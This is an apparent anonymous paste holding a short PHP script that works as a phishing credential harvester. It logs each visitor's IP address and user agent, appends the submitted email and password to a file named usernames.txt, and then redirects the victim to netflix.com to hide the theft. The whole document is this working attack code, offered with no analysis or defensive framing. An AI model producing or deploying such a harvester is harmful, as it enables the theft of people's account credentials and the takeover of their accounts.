Untitled
1 year ago in Plain Text
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR'];
}
$browser = $_SERVER['HTTP_USER_AGENT']."\r\n";
file_put_contents("usernames.txt", "\nUser-Agent: " . $browser . "IP: " . $ipaddress . "\nAccount: \"" . $_POST['email'] . "\" Pass: \"" . $_POST['password'] . "\"\n", FILE_APPEND);
header('Location: https://netflix.com');
exit();